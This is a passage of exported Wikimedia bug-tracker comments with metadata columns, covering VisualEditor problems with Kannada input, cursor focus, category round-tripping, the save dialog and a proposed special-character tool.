+**Attached**: {F11104}",,,1373357251,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+233598,VE does not support typing in Kannada,"VE Kannada screen shot before pressing spacebar
+
+**Attached**: {F11103}",,,1373357196,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+233593,VE does not support typing in Kannada,"(In reply to comment #5)
+> I am not sure if the VE has been improved. But now I am able to type in
+> Kannada
+> if I use the Windows built-in IME as well as the Indic IME2 developed by
+> Microsoft-India. But the Baraha IME is still giving problems. I am waiting
+> for
+> the ULS to be enabled in VE.
+
+This was somewhat prematured comment. When I thoroughly tested I found some bugs in built-in IME as well as Indian IME2 also. It does render properly initially, but when I press space bar, the display gets spoiled. I will add the screeenshots.",,,1373356552,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,1,,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+233589,VE does not support typing in Kannada,I am not sure if the VE has been improved. But now I am able to type in Kannada if I use the Windows built-in IME as well as the Indic IME2 developed by Microsoft-India. But the Baraha IME is still giving problems. I am waiting for the ULS to be enabled in VE.,,,1373353002,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+233585,VE does not support typing in Kannada,I treid the built-in IME of Windows 8 as well as a thrid party IME called Baraha.,,,1372417654,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+233584,VE does not support typing in Kannada,"Thanks for taking the time to report this and testing VE!
+What are the exact steps to reproduce this?
+
+I tried:
+1. Make sure to be logged in on http://kn.wikipedia.org/
+2. Make sure that on http://kn.wikipedia.org/wiki/%E0%B2%B5%E0%B2%BF%E0%B2%B6%E0%B3%87%E0%B2%B7:Preferences?uselang=en#mw-prefsection-editing > ""Beta features >  Enable VisualEditor (only in the main and user namespaces)"" is enabled.
+3. Go to a random article like http://kn.wikipedia.org/wiki/ಔಷಧೀಯ_ರಸಾಯನಶಾಸ್ತ್ರ?veaction=edit
+4. I can confirm that keyboard cursor in on top of text, but I can type (Firefox 18).
+
+5. Click the cog next to ""ಇತರ ಭಾಷೆಗಳು"" (In other languages) and choose ""Input settings"".
+6. ""Input methods for ಕನ್ನಡ"" says ""Use native keyboard"".
+
+So here I have several options.
+
+Could you confirm/correct the above steps, and explain which ""built-in IME"" you exactly tried?",,,1372414516,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+233582,VE does not support typing in Kannada,"VE screenshot just after pressing Enter key
+
+**Attached**: {F11102}",,,1372413796,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+233580,VE does not support typing in Kannada,"VE screenshot just before pressing Enter key
+
+**Attached**: {F11101}",,,1372413758,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+52338,"VisualEditor: After setting a style (heading, paragraph, etc.) the cursor disappears","As Rob spotted, we should (re-)place the cursor in the block.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372384440,1372706749.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jidkdocy777f7fa4pk3t,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+233122,"VisualEditor: After setting a style (heading, paragraph, etc.) the cursor disappears",Merged and will be deployed shortly.,,,1372706749,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jidkdocy777f7fa4pk3t,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+233116,"VisualEditor: After setting a style (heading, paragraph, etc.) the cursor disappears","Change 71388 merged by jenkins-bot:
+Restore focus to documentNode on convert
+
+https://gerrit.wikimedia.org/r/71388",,,1372706703,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jidkdocy777f7fa4pk3t,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233110,"VisualEditor: After setting a style (heading, paragraph, etc.) the cursor disappears","Change 71388 had a related patch set uploaded by Robmoen:
+Restore focus to documentNode on convert
+
+https://gerrit.wikimedia.org/r/71388",,,1372705249,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jidkdocy777f7fa4pk3t,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233104,"VisualEditor: After setting a style (heading, paragraph, etc.) the cursor disappears","On a note about this at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Cursor_disappears, I tested - I don't have the issue in Chrome (the cursor remains), but it is evidently still disappearing in Firefox. Just an FYI. :)",,,1372595247,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-jidkdocy777f7fa4pk3t,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+52332,VisualEditor: Category leaks out of transclusion when round-tripped through VE,"Example diff:
+
+https://en.wikipedia.org/w/index.php?title=FC_Dila_Gori&curid=6581323&diff=561887535&oldid=561367008
+
+Works in Parsoid:
+
+echo '{{commons category}}' | node parse --wt2wt
+{{commons category}}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50120",High,80.0,1372375380,1373500548.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-cc4653x6b7o5qyh3ddoy,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+232708,VisualEditor: Category leaks out of transclusion when round-tripped through VE,This was fixed by the fix for bug 50120. The DOM produced by the {{commons category}} template is very similar to the persondata template.,,,1373500548,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cc4653x6b7o5qyh3ddoy,task_subcomment,,True,c1,3,True,,,1,,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+232702,VisualEditor: Category leaks out of transclusion when round-tripped through VE,"Looks like a link element that is also encapsulated is not properly handled by VE:
+
+<link rel=""mw:WikiLink/Category"" href=""./Category:Commons_category_without_a_link_on_Wikidata"" data-parsoid='{""stx"":""simple"",""a"":{""href"":""./Category:Commons_category_without_a_link_on_Wikidata""},""sa"":{""href"":""Category:Commons category without a link on Wikidata""}}' about=""#mwt1"">",,,1373485070,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cc4653x6b7o5qyh3ddoy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1
+52324,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),"Screenshot
+
+Screenshot - FireFox 21.0, Mac OS X 10.6.8
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11044}",High,80.0,1372368720,1372446220.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-q4tev2wggvrevxlx57l3,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+232175,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),"Yes, this was fixed but the deployment was temporarily rolled-back until ~ 13:40 UTC today.",,,1372446220,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+232168,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),Maybe it's fixed but not out yet? http://it.wikipedia.org/wiki/File:Schermata_2013-06-28_alle_15.15.44.png on it.wiki this afternoon.,,,1372444061,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+232163,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),*** Bug 50364 has been marked as a duplicate of this bug. ***,,,1372417299,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+232157,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),*** Bug 50276 has been marked as a duplicate of this bug. ***,,,1372387036,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+232151,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),Fixed and will be going out in the next few minutes.,,,1372380458,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+232144,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),"Change 70786 merged by jenkins-bot:
+Fix bug where the floating toolbar was on top of the save dialog
+
+https://gerrit.wikimedia.org/r/70786",,,1372378996,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+232139,VisualEditor: Save dialog is obscured by toolbar if it's floating (the user has scrolled down),"Change 70786 had a related patch set uploaded by Jforrester:
+Fix bug where the floating toolbar was on top of the save dialog
+
+https://gerrit.wikimedia.org/r/70786",,,1372373151,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q4tev2wggvrevxlx57l3,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+52296,VisualEditor: Provide a character insertion tool,"The VisualEditor doesn't currently have a mechanism for inserting special characters - while a lot of them are unnecessary (`~~~~` for example), things like en and emdashes can be quite important for content.
+
+**See Also**: {T13130}",High,80.0,1372349160,1386312920.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+230425,VisualEditor: Provide a character insertion tool,"(In reply to comment #36)
+> 1: no one knows them/uses them
+
+Well, that disscutalbe, but I tend to think the same. No one knows them, because you dont need to know them for normal sw use.
+
+> So some ideas:
+> 1: Educate the user: Add a 'more characters' link in the insert symbol
+> editor,
+> that detects OS of user and links to a page explaining how to access this
+> panel
+> on his OS.
+
+Why to make it more difficult for users. We want them to attract to Wikipedia and we wont do do the environment as easy as possible. Our goal is not to educate them further things.",,,1387303644,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,24,,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+230423,VisualEditor: Provide a character insertion tool,"Change 90940 merged by jenkins-bot:
+Insert special character tool
+
+https://gerrit.wikimedia.org/r/90940",,,1386312904,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+230422,VisualEditor: Provide a character insertion tool,"""Educating"" the user strikes me as a sign of failure for a supposedly ""easier"" UI. The ""harder"" UI has it right there, after all.",,,1385650860,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,21,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0
+230420,VisualEditor: Provide a character insertion tool,"> Just for reference: Either I didn't read all the comments well enough or nobody
+> quite mentioned the fact that all modern desktop operating environments have a
+> built-in a Character Map tool: Windows (with pretty full Unicode since NT 4),
+> Gnome, KDE, and Mac OSX (called ""Character viewer"").
+
+On Mountain Lion, it's even simpler. (Straight in the edit menu, ctrl-cmd-space).
+
+I mentioned it, but the problem is indeed:
+1: no one knows them/uses them
+2: there is no trigger in HTML5/JS to open the panel
+
+So some ideas:
+1: Educate the user: Add a 'more characters' link in the insert symbol editor, that detects OS of user and links to a page explaining how to access this panel on his OS.
+2: Lobby HTML5 WG to expose these panels to JS",,,1385650141,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,21,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+230414,VisualEditor: Provide a character insertion tool,"(In reply to comment #34)
+> At present, however, there is no way to enter non-keyboard characters unless
+> you're much more familiar with your operating system
+Well, how doest it come, there is no way? What about to load character box available for editing on some wikies in MonoBook?
+
+> At present, however, there is no way to enter non-keyboard characters unless
+> you're much more familiar with your operating system than almost any user is.
+Do you have any statistic for this statment? I would say that most of the users are not familiar with that. But I should include it is my point of view.",,,1385284629,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,20,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,1,1
+230409,VisualEditor: Provide a character insertion tool,"Juan - I think that would quite definitely require actual usability lab testing. As would many of the suggestions in this bug.
+
+At present, however, there is no way to enter non-keyboard characters unless you're much more familiar with your operating system than almost any user is. So doing nothing isn't really an option either.",,,1383688795,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,18,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+230405,VisualEditor: Provide a character insertion tool,"(In reply to comment #32)
+> (In reply to comment #31)
+> > Just for reference: Either I didn't read all the comments well enough or
+> > nobody quite mentioned the fact that all modern desktop operating
+> > environments have a built-in a Character Map tool: Windows (with pretty
+> > full Unicode since NT 4), Gnome, KDE, and Mac OSX (called ""Character
+> > viewer"").
+> 
+> I said this, but everyone said it wasn't sufficient for them. :-(
+
+Lets say it differenty. Visual Editor Team was made to remove obstacles in editing, to simplify the work of Wikipedia contributors. Even there are voices, that it is a wrong way and newbies should study wikitext WFM goes the way of its goal. To offer all human knowledge to give to everybody. Our aim here is to collect the knowledge of all people. Logically higher amount of obstacles reduces the number of Wikipedians. Our aim is not to push newbies to study wikitext, internal policies or typography. Our aim is to harvest their knoledge. Thus in the new trend we are removing obstacles. So if not as a default, what about as an option to define your own characters (this was always possible in wp)? Than we can tell newbies, look here we place &ndash; - its not present in VE default, but you can install an extension to your VE.",,,1383688524,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,18,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+230399,VisualEditor: Provide a character insertion tool,"(In reply to comment #31)
+> Just for reference: Either I didn't read all the comments well enough or
+> nobody quite mentioned the fact that all modern desktop operating
+> environments have a built-in a Character Map tool: Windows (with pretty
+> full Unicode since NT 4), Gnome, KDE, and Mac OSX (called ""Character
+> viewer"").
+
+I said this, but everyone said it wasn't sufficient for them. :-(
+
+> 2. It may be easier to insert at least some characters using the keyboard
+> layout provided with ULS. It is disabled now in VE because of some bugs (can
+> anybody help me with the numbers?), but these can be fixed, of course. If we
+> know which characters are really needed (see point 1 above), we can very
+> easily add them to the keyboard layouts.
+
+Possibly. The main problem is that ""ULS"" is about twenty different tools, and some of them don't work in VisualEditor (yet). I doesn't seem possible to enable some of them and not others, however.",,,1383674338,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,18,,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+230393,VisualEditor: Provide a character insertion tool,"Just for reference: Either I didn't read all the comments well enough or nobody quite mentioned the fact that all modern desktop operating environments have a built-in a Character Map tool: Windows (with pretty full Unicode since NT 4), Gnome, KDE, and Mac OSX (called ""Character viewer"").
+
+That said, I am very well aware of the fact that pretty much nobody but me actually uses it. A very surprising number of people, however, do use the character insertion tool in their word processors. The one in Microsoft Word is not very different from Windows' Character Map, which in my mind makes it redundant, but apparently I'm special.
+
+Anyway, yes - a character insertion tool should be there.
+
+But, two points:
+
+1. There's one already in Vector, and it's quite good. It can be used for research - which characters are used most frequently in which project. Adding statistics for this is quite easy now with EventLogging.
+
+2. It may be easier to insert at least some characters using the keyboard layout provided with ULS. It is disabled now in VE because of some bugs (can anybody help me with the numbers?), but these can be fixed, of course. If we know which characters are really needed (see point 1 above), we can very easily add them to the keyboard layouts.",,,1383663006,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,18,,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+230385,VisualEditor: Provide a character insertion tool,"Well, when creating Featured or Quality articles we (on cs.wp) looks to have them correct from typograpical point of wiev. The problem is that Czech keyboard doesnt include all characters needed, as it includes other characters, which are not native to English. The most common missing characters would be *, #, &ndash;, &nbsp;. So if not all it would be nice to have in VE or nearby the table with some most used characters. E.g. list items are present in English keyboard, while &ndash; suprisingly 